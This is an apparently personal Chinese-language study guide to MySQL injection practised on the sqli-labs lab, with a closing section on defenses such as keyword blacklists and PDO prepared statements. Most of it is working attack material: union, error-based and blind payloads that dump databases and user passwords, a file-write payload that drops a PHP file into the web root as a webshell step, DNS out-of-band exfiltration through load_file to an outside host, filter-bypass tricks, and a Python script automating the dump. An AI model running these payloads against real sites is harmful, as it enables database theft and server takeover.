MySql Injection Conclusion

sql 注入导图

0x02 基于有正确回显的注入

1.判断注入点、注入位置

2.判断是否被过滤,绕过

3.order by联合查询,找到对应的列数

4.联合查询注入:
这里假设有三个字段

①爆库:

id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

②爆表名:这里假设爆出了security数据库

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

③爆列名:假设爆出一个users表

id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

④爆数据:

id=-1' Union select 1,username,password from users limit 0,1 --+

Tips:

有时候可能当前页面数据库和敏感信息数据库不是同一个库,所以有时候会这样写
id=-1’ Union select 1,username,password from security.users limit 0,1 –+
或者id=-1’ Union select 1,username,password from `users` limit 0,1 –+

0x03 基于构造错误sql语句的报错注入

1. 需要知道以下几个函数:

①Group by: 分组,合并相同的,并且按字母顺序排列。

②rand() // 随机函数(0,1)

③floor() //取整函数 比如floor(1.2)=1

④count() //汇总函数

2. 原理:

简而言之就是利用 select count(),concat(floor(random(0)2))as key from…….group by key来报错。

即rand函数产生的随机数取整之后被 group by 子句被分为key值等于1 和0 两类,然后count()统计该类型下的个数

可以发现有时候回报错

我们就可以通过这种手段来获取敏感信息

那么问题来了:为什么会报错呢?
双注入的原理,简单一句话原理就是有研究人员发现,当在一个聚合函数,比如count函数后面如果使用分组语句(group by)就会把查询的一部分以错误的形式显示出来“通过floor报错的方法来爆数据的本质是group by语句的报错。
Group by 在分组的时候先会对前面的concat(floor(rand()*2))进行检测,无疑只有0和1 两种结果 进行分类,然后就会插入这条数据 插入的过程中又会再进行一次计算 如果检测所计算出来的数和插入时所计算出来的数不一样,这个时候就会报错。<br />

3.实际操作(和有正确回显的操作类似)

①爆库:

?id=-1' and  (select 1  from (select count(*),concat(0x3a,(select schema_name from information_schema.schemata  limit 0,1 ),floor(rand()*2 ),0x3a,0x3a )name from  information_schema.tables group by name) b) --+

②爆表名
③爆列名
④爆数据:

?id=-1' and  (select 1  from (select count(*),concat(0x3a,(select password from users limit 0,1 ),floor(rand()*2 ),0x3a,0x3a )name from  information_schema.tables group by name) b) --+

其他更多函数的报错注入
extractvalue()、updatexml()、GeometryCollection()、polygon()、multipoint()、multilinestring()、multipolygon()、linestring()、exp()
以后再深入练习吧..

0x04基于文件读写权限的注入

1.前提:
需要my.ini(phpstudy中)里面的 secur_file_priv变量为空,不敢一般MySQL5.5.53之前的版本默认为空,之后的版本为null,所以说这种注入比较依赖MySQL的版本。
可以使用:select @@secure_file_priv来查询权限。
关于secur_file_priv变量更多:

如果变量设置为目录的名称,则服务器会将导入和导出操作限制在跟这个目录中一起使用。这个目录必须存在,服务器不会自己创建它。
如果变量为空,则不会产生影响,引起不安全的配置。
如果变量设置为NULL,那么服务器就会禁用导入和导出操作。这个值从MySQL 5.5.53版本开始允许。

2.需要知道的函数:
①Load_file:读文件
②INTO DUMPFILE/OUTFILE:将表的内容导出为一个文本文件

Tips:
INTO OUTFILE函数写文件时会在每一行的结束自动加上换行符
INTO DUMPFILE函数在写文件会保持文件得到原生内容,这种方式对于二进制文件是最好的选择

实际演示:
select * from users into outfile ‘d:/1.txt’;
select load_file(‘d:/1.txt’)

3.实际操作(两种思路)
①上菜刀

?id=1')) union select 1,2,0x3c3f70687020706870696e666f28293b3f3e into outfile 'D:/phpStudy/www/1234.php'   --+

Tips:?在URL里面表示传参,如果一句话木马里面有 ?php 所以用get传参的 会将php当作变量。

②改扩展名绕过操作:

?id=1')) union select 1,2,load_file('D:/phpStudy/www/1234.php') into outfile 'D:/phpStudy/www/123455.txt'   --+

0x05盲注

1.相关函数:
①length():返回字符串的长度
②substr():截取字符串
substr(a,b,c)从b位置开始,截取字符串a的c长度,ascii()将字符转换为ascii码格式。
③ascii():返回字符的ascii码
④if():
If(exor1,expr2,expr3)在mysql中是第一个参数成立的时候执行第二个参数,否则执行第三个参数
2.实际操作:
①判断注入点:

Id=-1' or sleep(5) --+

②爆库:

If(Ascii(substr(select schema_name from information_schema.schemata limit 0,1),1,1))=100,sleep(),null)as name

③爆表
④爆字段
⑤爆数据
都是一样的套路

Tips:
substr()的小技巧:例如在substr(database(),1,1)中逗号被过滤了,我们可以使用from 1 to 1来绕过过滤。
那么有同样格式的limit 0,1有没有这样的绕过呢?当然有。格式为:1 offset 0这里注查询数字的顺序。

0x06多种位置的注入:

其实都是一样的方法,只是位置不一样。
一般来说,有以下几种注入位置:
1.Get、Post
2.UA头
3.referer头
4.cookie

0x07带外通道:

什么是带外通道注入?

使用背景:
在进行sql注入攻击的时候我们经常会遇见无回显的情况,那我们就不能进行注入了么?
其实攻击可能已经成功了,But应用程序未返回任何结果,使你误以为攻击失败。
一种获取数据的有效方法是使用带外通道
能够在数据库中执行任意SQL语句后,我们可以利用数据的一些内置功能在数据库与自己的计算机直接建立网络连接,通过它传送从数据库中收集的任何信息
一般可以提取数据的途径:
通过HTTP(S)请求、DNS剖析、文件系统、电子邮件等等

对于MySQL而言
同样和文件读写一样,需要secure_file_priv这个全局变量控制的权限,具体见0x03中对该变量的介绍。
利用条件:

  • 全局变量secure_file_priv = ‘ ‘
  • 可以用SQL server连接到mysql数据库

使用DNS解析提取数据
在mysql中会对查询语句中的ip和网址尝试DNS解析。例如:

select load_file(concat(‘\\\\’,version()’yoursite.com\\a.txt’));

然后我们可以通过抓包看MySql发出的DNS查询数据
或者使用网上现成的https://dnsbin.zhack.ca/ 就可以看到mysql发送过来的数据

0x08各种绕过姿势:

绕过单引号

大小写绕过

?id=1+UnIoN+SeLecT+1,2,3--  

替换绕过

?id=1+UNunionION+SEselectLECT+1,2,3--  

注释绕过

?id=1+un/**/ion+se/**/lect+1,2,3--

特殊嵌入绕过

?id=1/*!UnIoN*/SeLecT+1,2,3--  //在别的数据库中是注释但是在mysql中可以成功执行在语句前可以加上5位数字,代表版本号,表示只有在大于该版本的mysql中不作为注释 

宽字节注入
SQL注入中的宽字节国内最常使用的gbk编码,这种方式主要是绕过addslashes等对特殊字符进行转移的绕过。反斜杠()的十六进制为%5c,在你输入%bf%27时,函数遇到单引号自动转移加入\,此时变为%bf%5c%27,%bf%5c在gbk中变为一个宽字符“縗”。%bf那个位置可以是%81-%fe中间的任何字符。不止在sql注入中,宽字符注入在很多地方都可以应用。
在我们代码审计的过程中产生这个注入的原因有两个
1.character_set_client=gbk(SET NAMES的误用)
2.mysql_real_escape_string()的错误使用

二次urldecode注入绕过
在我们代码审计的时候如果某处用了urldecode或者rawurldecode函数,则会二次解码(webserver和该函数)而绕过gpc或者是addslashes等过滤函数。

特殊字符绕过空格

Example:

'%0AUNION%0CSELECT%A0NULL%20%23

注释符&引号

①SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and/**/1=1;
②SELECT DISTINCT(db) FROM mysql.db WHERE `Host`='localhost' and"1=1";

编码绕过
URL编码、HEX编码、Base64编码

0x09利用工具

1.sqlmap
2.Pangolin(穿山甲)
3.Domain等等

0x10如何用python写工具?

在我简单学习了requests库、和re库之后,编写了一个简单的脚本(第一次写bug有点多、局限也很多..)

#coding=UTF-8
import re
import requests
from bs4 import BeautifulSoup
import sys
reload(sys)
sys.setdefaultencoding('utf8')

def getHTMLText(url):
    try:
        r = requests.get(url)
        r.raise_for_status()
        r.encoding = r.apparent_encoding
        return r.text
    except:
        print("getHTMLText error")
    return "getHTMLText right"

#捕捉返回的错误,判断注入点
def sqlloc_error(html,url,lists):
    try:
        error = re.search(r'syntax',html)
        if error:
            lists.append(url)
    except:
        return "rightback error"

#构造注入点的url
def testsql(start_url,lists):
    injects = ['\'' , '\"' ,')', '\')', '\")']
    for inject in injects:
        url = start_url + inject
        html = getHTMLText(url)
        sqlloc_error(html,url,lists)


#捕捉爆库返回的字段
def sqlrep_back(html,payload_reps):
    try:
        soup = BeautifulSoup(html,"html.parser")
        Rep = soup.select("font > font")
        NRep = Rep[0].text
        NNRep = NRep.split(':')[2]
        num = len(NNRep.split(','))
        for i in range(num):
            payload_reps.append(NNRep.split(',')[i])
            print(payload_reps[i])

    except:
        return "sqlrep_back error"


#爆库(这里还没有实现自动判断字段数,下面的payload也可以写成批量)
def BoomRepository(list,payload_reps):
    newurl = list + " union select 1,2,group_concat(schema_name) from information_schema.schemata --+"
    html = getHTMLText(newurl)
    sqlrep_back(html,payload_reps)

#捕捉爆出的表
def sqltab_back(html,payload_tables):
    try:
        soup = BeautifulSoup(html,'html.parser')
        Tab = soup.select("font > font")
        NTab = Tab[0].text
        NNTab = NTab.split(':')[2]
        num = len(NNTab.split(','))
        for i in range(num):
            payload_tables.append(NNTab.split(',')[i])
            print(payload_tables[i])
    except:
        print("sqltab_back error")


#爆表
def BoomTable(list,payload_columns,payload_tables,payload_reps):
    for payload_rep in payload_reps:
        newurl = list + " union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='" + payload_rep + "' --+"
        print("-----------正在爆" + payload_rep + "库的表-----------")
        html = getHTMLText(newurl)
        sqltab_back(html,payload_tables)
        for payload_table in payload_tables:
            print("-------------------------正在爆" + payload_rep +"库的" + payload_table + "表的字段-------------------------")
            Boomcolumn(list, payload_tables,payload_columns)


#捕捉爆出的字段
def sqlcol_back(html,payload_columns):
    try:
        soup = BeautifulSoup(html,'html.parser')
        Col = soup.select("font > font")
        NCol = Col[0].text
        NNCol = NCol.split(':')[2]
        num = len(NNCol.split(','))
        for i in range(num):
            payload_columns.append(NNCol.split(',')[i])
            print(payload_columns[i])
    except:
        print("sqlcol_back error")
#爆字段
def Boomcolumn(list, payload_tables,payload_columns):
    for payload_table in payload_tables:
        newurl = list + " union select 1,2,group_concat(column_name) from information_schema.columns where table_name='" + payload_table + "' --+"
        html = getHTMLText(newurl)
        sqlcol_back(html, payload_columns)

def main():
    lists = []  #判断是否有注入点的url
    payload_reps = [] #爆出来的库的列表
    payload_tables = [] #爆出来的表的列表、
    payload_columns = [] #爆出来的字段
    start_url = 'https://127.0.0.1/sqli-labs-master/Less-1/?id=-1'
    testsql(start_url,lists)
    print("-----------------------正在爆库--------------------------")
    BoomRepository(lists[0], payload_reps)
    print("------------------------正在爆表--------------------------")
    BoomTable(lists[0], payload_columns, payload_tables, payload_reps)

main()                

0x11如何防御?

引发SQL注入漏洞的原因:
动态SQL或者将SQL查询组装成包含受用户控制的输入的字符串并提交给数据库

使用黑名单验证

我们进行SQL注入的时候肯定离不开这些关键词:

  • and、or、order
  • insert、into
  • delete
  • replace、update
  • union、select
  • load_file、outfile
  • 和一些特殊符号

具体的实现代码:

private function filter_keyword( $string ) { 
$keyword='select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|and|union|order|or|into|load_file|outfile'; 
$arr = explode( '|', $keyword ); 
$result = str_ireplace( $arr, '', $string ); 
return $result; 
} 

当然这里这是一个基本的思路,实际环境中还需要更强大的正则来进行黑名单过滤。

正确使用过滤方式

1.gpc/runtime魔术引号:bug来源无非两种方式,一种是从类似于get、post等中被动式的获得参数;还有一种是主动的获得参数,比如读取远程页面或者文件。所以gpc/runtime在这就很重要了。
2.addslashes函数(字符型防御)、mysql_[real_]escape_string函数、intval函数等等

使用预处理语句:PDO

什么是PDO?
PDO是PHP Data Objects(php数据对象)的缩写。是在php5.1版本之后开始支持pdo。你可以把pdo看做是php提供的一个类。它提供了一组数据库抽象层API,使得编写php代码不再关心具体要连接的数据库类型。你既可以用使用pdo连接mysql,也可以用它连接oracle。并且pdo很好的解决了sql注入问题。

为什么要使用PDO查询?
使用传统的 mysql_connect 、mysql_query方法来连接查询数据库时,如果过滤不严紧,就有SQL注入风险。虽然可以用mysql_real_escape_string()函数过滤用户提交的值,但是也有缺陷。而使用PHP的PDO扩展的 prepare 方法,就可以避免sql injection 风险。

具体实现方法

$dbh = new PDO("mysql:host=localhost; dbname=demo", "user", "pass");
$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false); //禁用prepared statements的仿真效果,确保传递到mysql服务器之前没有被PHP解析(禁止了所有可能的sql注入)  
$dbh->exec("set names 'utf8'"); 
$sql="select * from test where name = ? and password = ?";
$stmt = $dbh->prepare($sql); 
$exeres = $stmt->execute(array($testname, $pass)); 
if ($exeres) { 
while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {
print_r($row);
}
}
$dbh = null;

其实到这里我也不是很懂原理,然后搜索了一下资料了解了一下PHP与 mysql sever通讯细节:

为何PDO能防SQL注入?
请先看以下PHP代码:

<?php
$pdo = new PDO("mysql:host=192.168.0.1;dbname=test;charset=utf8","root");
$conn->setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION); // set the PDO error mode to exception
$st = $pdo->prepare("select * from info where id =? and name = ?");
$id = 21;
$name = 'zhangsan';
$st->bindParam(1,$id);
$st->bindParam(2,$name);
$st->execute();
$st->fetchAll();
?>

环境如下:
PHP 5.4.7
Mysql 协议版本 10
MySQL Server 5.5.27
为了彻底搞清楚php与mysql server通讯的细节,我特别使用了wireshark抓包进行研究之,安装wireshak之后,我们设置过滤条件为tcp.port==3306, 如下图:

如此只显示与mysql 3306端口的通信数据,避免不必要的干扰。
特别要注意的是wireshak基于wincap驱动,不支持本地环回接口的侦听(即使用php连接本地mysql的方法是无法侦听的),请连接其它机器(桥接网络的虚拟机也可)的MySQL进行测试。
然后运行我们的PHP程序,侦听结果如下,我们发现,PHP只是简单地将SQL直接发送给MySQL Server :

其实,这与我们平时使用mysql_real_escape_string将字符串进行转义,再拼接成SQL语句没有差别(只是由PDO本地驱动完成转义的),显然这种情况下还是有可能造成SQL注入的,也就是说在php本地调用pdo prepare中的mysql_real_escape_string来操作query,使用的是本地单字节字符集,而我们传递多字节编码的变量时,有可能还是会造成SQL注入漏洞(php 5.3.6以前版本的问题之一,这也就解释了为何在使用PDO时,建议升级到php 5.3.6+,并在DSN字符串中指定charset的原因。
针对php 5.3.6以前版本,以下代码仍然可能造成SQL注入问题:

$pdo->query('SET NAMES GBK'); 
$var = chr(0xbf) . chr(0x27) . " OR 1=1 /*"; 
$query = "SELECT * FROM info WHERE name = ?"; 
$stmt = $pdo->prepare($query); 
$stmt->execute(array($var)); 

原因与上面的分析是一致的。
而正确的转义应该是给mysql Server指定字符集,并将变量发送给MySQL Server完成根据字符转义。
那么,如何才能禁止PHP本地转义而交由MySQL Server转义呢?
PDO有一项参数,名为PDO::ATTR_EMULATE_PREPARES ,表示是否使用PHP本地模拟prepare,此项参数默认值未知。而且根据我们刚刚抓包分析结果来看,php 5.3.6+默认还是使用本地变量转,拼接成SQL发送给MySQL Server的,我们将这项值设置为false, 试试效果,如以下代码:

<?php
$pdo = new PDO("mysql:host=192.168.0.1;dbname=test;","root");
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$st = $pdo->prepare("select * from info where id =? and name = ?");
$id = 21;
$name = 'zhangsan';
$st->bindParam(1,$id);
$st->bindParam(2,$name);
$st->execute();
$st->fetchAll();
?>

红色行是我们刚加入的内容,运行以下程序,使用wireshark抓包分析,得出的结果如下:


看到了吗?这就是神奇之处,可见这次PHP是将SQL模板和变量是分两次发送给MySQL的,由MySQL完成变量的转义处理,既然变量和SQL模板是分两次发送的,那么就不存在SQL注入的问题了,但需要在DSN中指定charset属性,如:

$pdo = new PDO('mysql:host=localhost;dbname=test;charset=utf8', 'root');

参考文献:https://zhangxugg-163-com.iteye.com/blog/1835721